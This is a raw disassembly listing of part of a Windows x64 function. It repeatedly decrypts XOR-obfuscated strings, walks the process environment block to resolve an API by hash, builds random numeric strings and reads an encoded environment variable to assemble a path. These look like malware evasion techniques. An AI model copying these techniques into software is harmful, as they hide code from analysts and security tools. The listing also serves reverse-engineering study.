lea rcx, [rbp + 0x660]
call fcn.1400184f0
nop
lea rdx, [rbp + 0x660]
lea rcx, [rbp + 0x16c0]
call fcn.1400020b0
nop
lea rcx, [rbp + 0x660]
call fcn.140018450
cmp byte [rbp + 0x1e52], 0
jne 0x140008a43
mov r8d, esi
cmp r15d, 2
jl 0x1400089fd
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1e34]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400088f0
cmp r8d, 0x23
jge 0x140008a43
movsxd rax, r8d
lea r9, [rbp + 0x1e30]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140008a10
cmp byte [rbp + 0x1218], 0
je 0x140008be3
mov r8d, esi
cmp r15d, 2
jl 0x140008b9f
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x120c]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140008a92
cmp r8d, 0x11
jge 0x140008be3
movsxd rax, r8d
lea r9, [rbp + 0x1208]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140008bb0
lea rdx, [rbp + 0x1208]
lea rcx, [rbp + 0x860]
call fcn.1400184f0
mov rcx, rax
call fcn.140001a80
test al, al
je 0x140009363
cmp byte [rbp + 0x1218], 0
jne 0x140008db3
mov r8d, esi
cmp r15d, 2
jl 0x140008d6d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x120c]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140008c60
cmp r8d, 0x11
jge 0x140008db3
movsxd rax, r8d
lea r9, [rbp + 0x1208]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140008d80
lea rdx, [rbp + 0x2220]
lea rcx, [rbp - 0x7e]
call fcn.140002630
cmp byte [rbp + 0x2250], 0
jne 0x140008f70
mov r8d, esi
cmp r15d, 2
jl 0x140008f1f
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x2224]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140008e12
cmp r8d, 0x31
jge 0x140008f63
movsxd rax, r8d
lea r9, [rbp + 0x2220]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140008f30
cmp byte [rbp + 0x2250], 0
je 0x140009103
mov r8d, esi
cmp r15d, 2
jl 0x1400090bf
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x2224]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140008fb2
cmp r8d, 0x31
jge 0x140009103
movsxd rax, r8d
lea r9, [rbp + 0x2220]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x1400090d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140009196
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140009196
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xa0e572bd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140009191
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140009170
cmp r8d, 0xca5bcd54
je 0x14000919b
test r9d, r9d
jne 0x140009150
mov rax, qword [rax]
jmp 0x140009120
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x2220]
call rdx
cmp byte [rbp + 0x2250], 0
jne 0x140009363
mov r8d, esi
cmp r15d, 2
jl 0x14000931d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x2224]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140009210
cmp r8d, 0x31
jge 0x140009363
movsxd rax, r8d
lea r9, [rbp + 0x2220]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140009330
cmp byte [rbp + 0x1218], 0
jne 0x140009503
mov r8d, esi
cmp r15d, 2
jl 0x1400094bf
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x120c]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400093b2
cmp r8d, 0x11
jge 0x140009503
movsxd rax, r8d
lea r9, [rbp + 0x1208]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400094d0
lea rcx, [rbp + 0x15e0]
call fcn.140018160
mov rdx, rax
lea rcx, [rbp + 0x840]
call fcn.1400184f0
mov r12, rax
mov qword [rsp + 0x58], rax
mov ecx, dword [str.y_4_]
mov dword [rbp + 0x105c], ecx
movzx ecx, byte [0x14001b8ec]
mov byte [rbp + 0x1060], cl
test cl, cl
jne 0x140009566
xor byte [rbp + 0x105c], 0x57
xor byte [rbp + 0x105d], 0x58
xor byte [rbp + 0x105e], 0x59
xor byte [rbp + 0x105f], 0x5a
mov byte [rbp + 0x1060], 0x5b
mov eax, dword [0x14001b9fc]
mov dword [rbp + 0x100c], eax
movzx eax, byte [0x14001ba00]
mov byte [rbp + 0x1010], al
test al, al
jne 0x1400095a6
xor byte [rbp + 0x100c], 0x57
xor byte [rbp + 0x100d], 0x58
xor byte [rbp + 0x100e], 0x59
xor byte [rbp + 0x100f], 0x5a
mov byte [rbp + 0x1010], 0x5b
movzx eax, word [0x14001b834]
mov word [rbp + 0xf88], ax
cmp byte [0x14001b835], 0
jne 0x1400095cc
xor al, 0x57
mov byte [rbp + 0xf88], al
xor byte [rbp + 0xf89], 0x58
movzx eax, word [0x14001b9a4]
mov word [rbp + 0xf84], ax
cmp byte [0x14001b9a5], 0
jne 0x1400095f2
xor al, 0x57
mov byte [rbp + 0xf84], al
xor byte [rbp + 0xf85], 0x58
lea rcx, [rbp + 0x1780]
call fcn.140018650
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x4bb4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x3830]
call fcn.140018760
mov dword [rbp + 0x10f8], 0x423a35c7
mov dword [rbp + 0x10fc], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x3830]
lea rcx, [rbp + 0x10f8]
call fcn.140019220
mov edx, eax
lea rcx, [rbp + 0x760]
call fcn.1400187a0
nop
mov rbx, qword [rbp + 0x770]
lea rcx, [rbp + 0x760]
call fcn.140018160
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1780]
call fcn.140018330
nop
lea rcx, [rbp + 0x760]
call fcn.140018450
movzx eax, byte [rbp + 0xf89]
test al, al
je 0x1400096b1
xor byte [rbp + 0xf88], 0x57
xor al, 0x58
mov byte [rbp + 0xf89], al
lea rax, [rbp + 0xf88]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400096c0
lea rdx, [rbp + 0xf88]
lea rcx, [rbp + 0x1780]
call fcn.140018330
cmp byte [rbp + 0xf89], 0
jne 0x1400096f4
xor byte [rbp + 0xf88], 0x57
mov byte [rbp + 0xf89], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x5f44], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x4bc0]
call fcn.140018760
mov dword [rbp + 0x1100], 0x423a35c7
mov dword [rbp + 0x1104], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x4bc0]
lea rcx, [rbp + 0x1100]
call fcn.140019220
mov edx, eax
lea rcx, [rbp + 0x720]
call fcn.1400187a0
nop
mov rbx, qword [rbp + 0x730]
lea rcx, [rbp + 0x720]
call fcn.140018160
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1780]
call fcn.140018330
nop
lea rcx, [rbp + 0x720]
call fcn.140018450
movzx eax, byte [rbp + 0xf89]
test al, al
je 0x1400097a6
xor byte [rbp + 0xf88], 0x57
xor al, 0x58
mov byte [rbp + 0xf89], al
lea rax, [rbp + 0xf88]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1400097b0
lea rdx, [rbp + 0xf88]
lea rcx, [rbp + 0x1780]
call fcn.140018330
cmp byte [rbp + 0xf89], 0
jne 0x1400097e4
xor byte [rbp + 0xf88], 0x57
mov byte [rbp + 0xf89], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x72d4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x5f50]
call fcn.140018760
mov dword [rbp + 0x1108], 0xa98ac7
mov dword [rbp + 0x110c], 0x5f5e0ff
mov r9d, 0x5f5e0ff
mov r8d, 0xa98ac7
lea rdx, [rbp + 0x5f50]
lea rcx, [rbp + 0x1108]
call fcn.140019220
mov edx, eax
lea rcx, [rbp + 0x700]
call fcn.1400187a0
nop
mov rbx, qword [rbp + 0x710]
lea rcx, [rbp + 0x700]
call fcn.140018160
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1780]
call fcn.140018330
nop
lea rcx, [rbp + 0x700]
call fcn.140018450
movzx eax, byte [rbp + 0xf89]
test al, al
je 0x140009896
xor byte [rbp + 0xf88], 0x57
xor al, 0x58
mov byte [rbp + 0xf89], al
lea rax, [rbp + 0xf88]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1400098a0
lea rdx, [rbp + 0xf88]
lea rcx, [rbp + 0x1780]
call fcn.140018330
cmp byte [rbp + 0xf89], 0
jne 0x1400098d4
xor byte [rbp + 0xf88], 0x57
mov byte [rbp + 0xf89], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x8664], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x72e0]
call fcn.140018760
mov dword [rbp + 0x1110], 0x423a35c7
mov dword [rbp + 0x1114], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x72e0]
lea rcx, [rbp + 0x1110]
call fcn.140019220
mov edx, eax
lea rcx, [rbp + 0x6e0]
call fcn.1400187a0
nop
mov rbx, qword [rbp + 0x6f0]
lea rcx, [rbp + 0x6e0]
call fcn.140018160
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1780]
call fcn.140018330
nop
lea rcx, [rbp + 0x6e0]
call fcn.140018450
movzx eax, byte [rbp + 0x1060]
test al, al
je 0x14000999b
xor byte [rbp + 0x105c], 0x57
xor byte [rbp + 0x105d], 0x58
xor byte [rbp + 0x105e], 0x59
xor byte [rbp + 0x105f], 0x5a
xor al, 0x5b
mov byte [rbp + 0x1060], al
lea rax, [rbp + 0x105c]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1400099a5
lea rdx, [rbp + 0x105c]
lea rcx, [rbp + 0x1780]
call fcn.140018330
cmp byte [rbp + 0x1060], 0
jne 0x1400099ee
xor byte [rbp + 0x105c], 0x57
xor byte [rbp + 0x105d], 0x58
xor byte [rbp + 0x105e], 0x59
xor byte [rbp + 0x105f], 0x5a
mov byte [rbp + 0x1060], 0x5b
movzx eax, byte [rbp + 0xf85]
test al, al
je 0x140009a08
xor byte [rbp + 0xf84], 0x57
xor al, 0x58
mov byte [rbp + 0xf85], al
lea rdx, [rbp + 0xf84]
lea rcx, [rbp + 0x6c0]
call fcn.1400184f0
mov rbx, rax
movzx ecx, byte [rbp + 0x1010]
test cl, cl
je 0x140009a4e
xor byte [rbp + 0x100c], 0x57
xor byte [rbp + 0x100d], 0x58
xor byte [rbp + 0x100e], 0x59
xor byte [rbp + 0x100f], 0x5a
xor cl, 0x5b
mov byte [rbp + 0x1010], cl
lea rcx, [rbp + 0x100c]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r9, r13
nop
inc r9
cmp byte [rax + r9], 0
jne 0x140009a60
mov r8, rax
xor edx, edx
mov rcx, rbx
call fcn.140018670
mov rdx, rax
lea rcx, [rbp + 0x6a0]
call fcn.1400184c0
nop
lea r8, [rbp + 0x1780]
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x1840]
call fcn.1400189f0
nop
lea rcx, [rbp + 0x6a0]
call fcn.140018450
nop
lea rcx, [rbp + 0x6c0]
call fcn.140018450
cmp byte [rbp + 0x1010], 0
jne 0x140009ae7
xor byte [rbp + 0x100c], 0x57
xor byte [rbp + 0x100d], 0x58
xor byte [rbp + 0x100e], 0x59
xor byte [rbp + 0x100f], 0x5a
mov byte [rbp + 0x1010], 0x5b
cmp byte [rbp + 0xf85], 0
jne 0x140009afe
xor byte [rbp + 0xf84], 0x57
mov byte [rbp + 0xf85], 0x58
xor edx, edx
lea rcx, [rbp + 0x1780]
call fcn.140018170
nop
lea rcx, [rbp + 0x1780]
call fcn.140018450
nop
lea rcx, [rbp + 0x1840]
call fcn.140018160
mov rbx, rax
movups xmm0, xmmword [str.7.___5_3_fAO__v_b_v]
movups xmmword [rbp + 0x1250], xmm0
mov ecx, dword [0x14001b6e0]
mov dword [rbp + 0x1260], ecx
movzx ecx, word [0x14001b6e4]
mov word [rbp + 0x1264], cx
movsd xmm0, qword [str.s_06__f_7_BDd]
movsd qword [rbp + 0x11c8], xmm0
mov ecx, dword [0x14001b8f8]
mov dword [rbp + 0x11d0], ecx
movzx eax, word [0x14001b8fc]
mov word [rbp + 0x11d4], ax
mov eax, dword [str.pcyZ]
mov dword [rbp + 0xfc4], eax
movups xmm0, xmmword [0x14001b930]
movups xmmword [rbp + 0x1e88], xmm0
movups xmm1, xmmword [0x14001b940]
movups xmmword [rbp + 0x1e98], xmm1
movsd xmm0, qword [0x14001b950]
movsd qword [rbp + 0x1ea8], xmm0
movzx eax, word [0x14001b958]
mov word [rbp + 0x1eb0], ax
movzx eax, byte [0x14001b95a]
mov byte [rbp + 0x1eb2], al
lea rcx, [rbp + 0x18c0]
call fcn.140018650
nop
